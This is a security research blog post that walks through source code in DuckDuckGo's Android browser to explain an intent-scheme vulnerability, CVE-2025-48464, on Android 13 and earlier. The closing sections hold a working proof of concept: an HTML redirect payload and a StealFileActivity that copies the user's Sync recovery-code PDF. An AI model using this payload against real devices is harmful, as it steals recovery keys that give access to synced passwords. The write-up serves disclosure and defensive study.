Don't Leave Me Outdated!
2025-10-19
Introduction
Tux’s Adventure: Don’t leave me outdated!

We frequently receive operating system (OS) updates on our devices. While these updates can be annoying and often involving only minor changes or introducing of new features, others are critical security patches.
In this writeup, I’ll share some of the “hidden” techniques in Android security that, if the app had implemented insecurely, could lead to serious vulnerabilities.
TL;DR
This writeup examines security exploits affecting Android 13 and earlier (CVE-2025-48464), which enables arbitrary file exfiltration via a malicious Intent-scheme URL.
Background
Don’t you find it annoying when your mobile device constantly prompts you to install updates that require a restart? Have you ever wondered what those updates are actually for, especially when there don’t seem to be any visible changes afterward?
Some of these updates include critical security patches that protect against vulnerabilities in older OS versions. In this write-up, we’ll look at how outdated Android systems can expose apps to hidden attack surfaces and examine a recent real-world example.
About DuckDuckGo Browser
DuckDuckGo is a privacy-focus browser emphasizes anonymity, tracker blocking, and private search. It’s popular among users who value data privacy, as it avoids personalized profiling and automatically enforces HTTPS where possible.
What sets DuckDuckGo apart is its strong commitment to keeping user data private, ensuring that browsing activity, search history, and personal information remain inaccessible to third parties, including DuckDuckGo itself. This makes it an appealing choice for anyone seeking a secure, private, and transparent browsing experience.
I personally like how DuckDuckGo places such a strong emphasis on user privacy. Given this focus, I was curious to take a closer look at the browser’s internal security posture.
Android browser’s attack surface
One of my favorite areas to explore for Android browser exploits is how they handle redirection and Intent schemes. Most browsers rely on the shouldOverrideUrlLoading method, which is triggered whenever a webpage requests a redirect. Browser developers typically override this method to customize how URLs are handled especially to check for and process Intent schemes safely.
With that in mind, I decided to look at the code.
Understanding how shouldOverrideUrlLoading is used
With a simple search, I found the override shouldOverrideUrlLoading in DuckDuckGo’s browser.
// BrowserWebViewClient.kt
@UiThread
override fun shouldOverrideUrlLoading(
view: WebView,
request: WebResourceRequest,
): Boolean {
val url = request.url
return shouldOverride(view, url, request.isForMainFrame, request.isRedirect)
}
The snippet above shows how the DuckDuckGo browser delegates URL handling to a separate function (shouldOverride), where additional logic determines whether navigation should proceed or be intercepted.
Here, the line val url = request.url extracts the target URL from the web request. Because this value can originate from user input or a webpage redirect, it is user-controlled and therefore must be treated as untrusted input.
// BrowserWebViewClient
private fun shouldOverride(
webView: WebView,
url: Uri,
isForMainFrame: Boolean,
isRedirect: Boolean,
): Boolean {
try {
// snipped for brevity
return when (val urlType = specialUrlDetector.determineType(initiatingUrl = webView.originalUrl, uri = url)) {
is SpecialUrlDetector.UrlType.ShouldLaunchPrivacyProLink -> {
subscriptions.launchPrivacyPro(webView.context, url)
true
}
// snipped for brevity
is SpecialUrlDetector.UrlType.NonHttpAppLink -> {
logcat(INFO) { "Found non-http app link for ${urlType.uriString}" }
if (isForMainFrame) {
webViewClientListener?.let { listener ->
return listener.handleNonHttpAppLink(urlType) // <---- here
}
}
true
}
// snipped for brevity
}
}
}
In shouldOverride, the untrusted URL is passed to determineType(), which is assigned as a specific UrlType. If the URL is identified as a non-HTTP app link, execution proceeds to the handleNonHttpAppLink method.
// SpecialUrlDetector.kt
override fun determineType(initiatingUrl: String?, uri: Uri): UrlType {
val uriString = uri.toString()
return when (val scheme = uri.scheme) {
TEL_SCHEME -> buildTelephone(uriString)
// snipped for brevity
else -> {
val intentFlags = if (scheme == INTENT_SCHEME && androidBrowserConfigFeature.handleIntentScheme().isEnabled()) {
URI_INTENT_SCHEME // <--- 1. set here
} else {
URI_ANDROID_APP_SCHEME
}
checkForIntent(scheme, uriString, intentFlags) // <-- 2. set here
}
}
}
When the scheme matches INTENT_SCHEME, control is passed to checkForIntent(), which validates and parses the intent.
// SpecialUrlDetector.kt
@VisibleForTesting
internal fun checkForIntent(
scheme: String,
uriString: String,
intentFlags: Int,
): UrlType {
val validUriSchemeRegex = Regex("[a-z][a-zA-Z\\d+.-]+")
if (scheme.matches(validUriSchemeRegex)) {
return buildIntent(uriString, intentFlags)
}
return UrlType.SearchQuery(uriString)
}
private fun buildIntent(uriString: String, intentFlags: Int): UrlType {
return try {
val intent = Intent.parseUri(uriString, intentFlags)
// snipped for brevity
/* Code flow goes into NonHttpAppLink */
UrlType.NonHttpAppLink(uriString = uriString, intent = intent, fallbackUrl = fallbackUrl, fallbackIntent = fallbackIntent)
} catch (e: URISyntaxException) {
logcat(WARN) { "Failed to parse uri $uriString: ${e.asLog()}" }
return UrlType.Unknown(uriString)
}
}
As the code flow, it enters another method called buildIntent() that uses the uriString which was the user-controlled URL that is used to be parsed into an Intent object. The intent object is subsequently passed into NonHttpAppLink object.
Here, the user-controlled uriString is parsed into an Intent object. That intent, along with optional fallback data, is stored in a NonHttpAppLink object, later handled by the ViewModel.
// BrowserTabViewModel.kt
val command: SingleLiveEvent<Command> = SingleLiveEvent()
override fun handleNonHttpAppLink(nonHttpAppLink: NonHttpAppLink): Boolean {
nonHttpAppLinkClicked(nonHttpAppLink)
return true
}
fun nonHttpAppLinkClicked(appLink: NonHttpAppLink) {
command.value = HandleNonHttpAppLink(appLink, getUrlHeaders(appLink.fallbackUrl))
}
In BrowserTabViewModel, the command value is initialized with class HandleNonHttpAppLink and emitted via SingleLiveEvent. This event will later be observed by the UI layer.
// BrowserTabFragment.kt
override fun onActivityCreated(savedInstanceState: Bundle?) {
super.onActivityCreated(savedInstanceState)
// snipped for brevity
configureObservers()
}
private fun configureObservers() {
// snipped for brevity
viewModel.command.observe(
viewLifecycleOwner,
Observer {
processCommand(it)
},
)
}
Now looking at BrowserTabFragment.kt, it begins observing command updates and forwards them to the processCommand() method when triggered.
// BrowserTabFragment.kt
private fun processCommand(it: Command?) {
// snipped for brevity
when (it) {
is NavigationCommand.Refresh -> refresh()
// snipped for brevity
is Command.HandleNonHttpAppLink -> {
openExternalDialog(
intent = it.nonHttpAppLink.intent,
fallbackUrl = it.nonHttpAppLink.fallbackUrl,
fallbackIntent = it.nonHttpAppLink.fallbackIntent,
useFirstActivityFound = false,
headers = it.headers,
)
}
}
}
When a HandleNonHttpAppLink command is received, the fragment calls openExternalDialog(), prompting the user before launching any external intent.
// BrowserTabFragment.kt
private fun openExternalDialog(
intent: Intent,
fallbackUrl: String? = null,
fallbackIntent: Intent? = null,
useFirstActivityFound: Boolean = true,
headers: Map<String, String> = emptyMap(),
) {
context?.let {
val pm = it.packageManager
val activities = pm.queryIntentActivities(intent, 0)
if (activities.isEmpty()) {
// snipped for brevity
} else {
launchDialogForIntent(it, pm, intent, activities, useFirstActivityFound, viewModel.linkOpenedInNewTab()) // <--- here
}
}
}
openExternalDialog() queries the system for activities capable of handling the intent, and if found, forwards the result to launchDialogForIntent().
// BrowserTabFragment.kt
private fun launchDialogForIntent(
context: Context,
pm: PackageManager,
intent: Intent,
activities: List<ResolveInfo>,
useFirstActivityFound: Boolean,
isOpenedInNewTab: Boolean,
) {
if (!isActiveCustomTab() && !isActiveTab && !isOpenedInNewTab) {
logcat(VERBOSE) { "Will not launch a dialog for an inactive tab" }
return
}
runCatching {
if (activities.size == 1 || useFirstActivityFound) {
val activity = activities.first()
val appTitle = activity.loadLabel(pm)
logcat(INFO) { "Exactly one app available for intent: $appTitle" }
launchExternalAppDialog(context) { context.startActivity(intent) } // <---- here
} else {
val title = getString(R.string.openExternalApp)
val intentChooser = Intent.createChooser(intent, title)
launchExternalAppDialog(context) { context.startActivity(intentChooser) }
}
}.onFailure { exception ->
logcat(ERROR) { "Failed to launch external app: ${exception.asLog()}" }
showToast(R.string.unableToOpenLink)
}
}
If one or more apps can handle the intent, the user is prompted to confirm whether to proceed. Selecting Open eventually triggers context.startActivity(intent), launching the external app.
// BrowserTabFragment.kt
private fun launchExternalAppDialog(
context: Context,
onClick: () -> Unit,
) {
val isShowing = alertDialog?.isShowing()
if (isShowing != true) {
alertDialog = StackedAlertDialogBuilder(context)
.setTitle(R.string.launchingExternalApp)
.setMessage(getString(R.string.confirmOpenExternalApp))
.setStackedButtons(LaunchInExternalAppOptions.asOptions())
.addEventListener(
object : StackedAlertDialogBuilder.EventListener() {
override fun onButtonClicked(position: Int) {
when (LaunchInExternalAppOptions.getOptionFromPosition(position)) {
LaunchInExternalAppOptions.OPEN -> onClick()
LaunchInExternalAppOptions.CLOSE_TAB -> {
launch {
viewModel.closeCurrentTab()
destroyWebView()
}
}
LaunchInExternalAppOptions.CANCEL -> {} // no-op
}
}
},
)
.build()
alertDialog!!.show()
}
}
Finally, looking into launchExternalAppDialog() displays a confirmation dialog. If the user selects Open, the provided callback executes context.startActivity(intent), completing the external launch flow.
Well this might look interesting like an intent redirection, and because it runs inside the app, even unexported activities could potentially be invoked.
With this, I searched for sensitive unexported activities and discovered DuckDuckGo uses getSerializableExtra instead of getStringExtra to receive extra data for their activities. Because intent scheme URLs can’t include serializable extras, that attack vector isn’t available.
Is this a dead end?
Targeting Content Provider
Since non-exported activity is out, I began looking for sensitive content providers to see if any could be abused for file exfiltration from the browser — while keeping in mind how intents were being handled.
// AndroidManifest.xml
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="${applicationId}.provider"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/provider_paths" />
</provider>
Looking at the AndroidManifest.xml, I found a FileProvider that has grantUriPermissions set to true. This is important as it allows the requester to access the app’s internal file system.
// provider_paths.xml
<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
<external-path
name="external_files"
path="." />
<cache-path name="sync" path="sync" />
</paths>
However, looking at the path it support, it only allow access to an external cache-path with the folder name sync. This means that I am unable to access any other app’s internal file system.
Leaving with limited option, I begin further investigate what the sync folder is used for.
Recovery Code
// RecoveryCodePDF.kt
override fun generateAndStoreRecoveryCodePDF(
viewContext: Context,
recoveryCodeB64: String,
): File {
checkMainThread()
val bitmapQR = qrEncoder.encodeAsBitmap(recoveryCodeB64, R.dimen.qrSizeLarge, R.dimen.qrSizeLarge)
val pdfDocument = PdfDocument()
val inflater = LayoutInflater.from(viewContext)
val page = pdfDocument.startPage(Builder(a4PageWidth.toPx(), a4PageHeight.toPx(), 1).create())
ViewRecoveryCodeBinding.inflate(inflater, null, false).apply {
// snipped for brevity
}
pdfDocument.finishPage(page)
val syncDirectory = File(viewContext.cacheDir, PDF_CACHE_FOLDER) // sync
if (!syncDirectory.exists()) {
syncDirectory.mkdir()
}
val file = File(syncDirectory, PDF_FILE_NAME) // Sync Data Recovery - DuckDuckGo.pdf
pdfDocument.writeTo(FileOutputStream(file))
pdfDocument.close()
return file
}
companion object {
private const val PDF_FILE_NAME = "Sync Data Recovery - DuckDuckGo.pdf"
private const val PDF_CACHE_FOLDER = "sync"
private const val a4PageWidth = 612
private const val a4PageHeight = 792
}
Based on the code, it appears that the sync folder is responsible for generating a file named Sync Data Recovery - DuckDuckGo.pdf.
To verify this, I navigated to the DuckDuckGo browser and saved a recovery code.
From there, I selected the Save as PDF option. Once clicked, the browser generated a PDF file containing a QR code that encodes a private recovery key.
As expected, this action created a sync folder inside the app’s internal cache directory, along with the generated PDF file.

According to DuckDuckGo’s official site, the browser includes a Sync & Backup feature that let users synchronize bookmarks and passwords across their devices without using an account. During setup, DuckDuckGo provides a Recovery PDF containing both a QR code and an alphanumeric recovery code.
If all devices are lost, users can restore their data by either scanning the QR code or entering the recovery code maunally from the PDF file. Because the Recovery Code grants full access to synced data, DuckDuckGo advises keeping it stored securely and privately.
It seems that the PDF file is sensitive after all. Let’s attempt to steal it.
Exploiting Intent scheme
As noted earlier, most of DuckDuckGo’s activities use getSerializableExtra instead of getStringExtra, and intent scheme URLs cannot inlcude serializable extras. However, this limitation does not apply to content providers that handle intent scheme.
Exploiting content provider
To get the basics of this attack, Oversecured’s post is a great place to start.
To summarize this attack: a non-exported content provider can still be abused if an exported “proxy” component in the same app accepts attacker-controlled input and causes the app to grant access to a content:// URI. An attacker can place a content:// URI inside an Intent sent to that proxy.
Note: Access requires a FLAG_GRANT_READ_URI_PERMISSION flag. An attacker can include this flag in an Intent to an exported proxy — if the proxy applies the grant, the attacker can read the content:// URI via ContentResolver.
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); // <--- This is required for it to work
extra.setClassName(getPackageName(), "com.attacker.duckduckgopoc.StealFileActivity"); // <--- attacker's exported activity to steal file
extra.setData(Uri.parse("content://com.duckduckgo.mobile.android.provider/sync/secret.txt")); // <--- actual file to steal in target app
Intent intent = new Intent();
intent.setClassName("com.duckduckgo.mobile.android", "com.duckduckgo.mobile.android.ProxyActivity"); // <--- example exported activity called ProxyActivity
intent.putExtra("extra_intent", extra);
startActivity(intent);
The here’s the plan:

Since startActivity() is invoked by DuckDuckGo itself, the Intent’s content:// URI is treated as originating from the app, granting it access to the data as if DuckDuckGo had permission to read it.
However, the same intent scheme technique may fail because we cannot add FLAG_GRANT_READ_URI_PERMISSION to an intent scheme URL ourselves.
e.g.:
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)
BUTTT interestingly, older Android versions behave a bit differently — on Android 13 and below, this flag isn’t actually required. There’s some magic happening behind the scenes that automatically grants the permission even when we never set it!!!
Why? Before looking at what causes that magic, let’s see how the same technique can be written using an intent scheme.
We write our payload as:
<html>
<head>
<meta
http-equiv="refresh"
content="1;url=intent://com.duckduckgo.mobile.android.provider/sync/Sync%20Data%20Recovery%20-%20DuckDuckGo.pdf#Intent;scheme=content;action=android.intent.action.SEND;component=com.attacker.duckduckgopoc/.StealFileActivity;S.android.intent.extra.TEXT=sync;end"
/>
</head>
<body></body>
</html>
The intent scheme URL contains the URL content for:
content://com.duckduckgo.mobile.android.provider/sync/Sync%20Data%20Recovery%20-%20DuckDuckGo.pdf
and the component to be passed to is our attacker’s exported StealFileActivity.
The HTML page triggers a browser-parsed intent scheme navigation that encodes a content scheme reference to the app’s recovery PDF and requests delivery to a secondary component.
When the browser accepts and resolve that Intent, the app may treat it as a legitimate request and temporarily grant URI access. In such a scenario an external component could gain access to the referenced provider resource.
Next, we create our StealFileActivity to handle to intent.
// StealFileActivity.java
private File copyToCache(Context ctx, Uri src, String fileName) throws IOException {
File dir = ctx.getExternalCacheDir();
if (dir == null) dir = ctx.getCacheDir(); // fallback to internal cache
File outFile = new File(dir, fileName);
try (InputStream in = ctx.getContentResolver().openInputStream(src);
OutputStream out = new FileOutputStream(outFile)) {
if (in == null) throw new FileNotFoundException("Can't open input stream for " + src);
byte[] buf = new byte[8192];
int n;
while ((n = in.read(buf)) != -1) {
out.write(buf, 0, n);
}
out.flush();
}
return outFile;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// snipped
Uri fileToSteal = getIntent().getData();
Log.e("steal", "file data = " +fileToSteal.toString());
ExecutorService exec = Executors.newSingleThreadExecutor();
exec.execute(() -> {
try {
File f = copyToCache(this, fileToSteal, "stolenfile");
new Handler(Looper.getMainLooper()).post(() ->
Toast.makeText(this, "Saved to cache:\n" + f.getAbsolutePath(), Toast.LENGTH_SHORT).show()
);
} catch (Exception e) {
new Handler(Looper.getMainLooper()).post(() ->
Toast.makeText(this, "Copy failed make sure recovery is done!: " + e.getMessage(), Toast.LENGTH_LONG).show();
);
}
});
}
Why does it still work on Android 13 and earlier?
So why does the magic only appear in Android 13 and earlier? On Android 13 and below, the Intent code automatically adds FLAG_GRANT_READ_URI_PERMISSION when an Intent contains the text or htmlText extra.

That automatic grant lets an attacker craft an intent scheme URL is our magic that triggers the permission and then access the app’s content provider. With that, we are able to perform our exploit in stealing the sensitive PDF file.
Final Thoughts
OS updates can be annoying, they interrupt what you’re doing and take forever to install. But those patches are what keep your apps and devices from being outdated - and exploited. So the next time your phone begs for an update, maybe give it a chance. It’s not being needy, it’s protecting you. 😏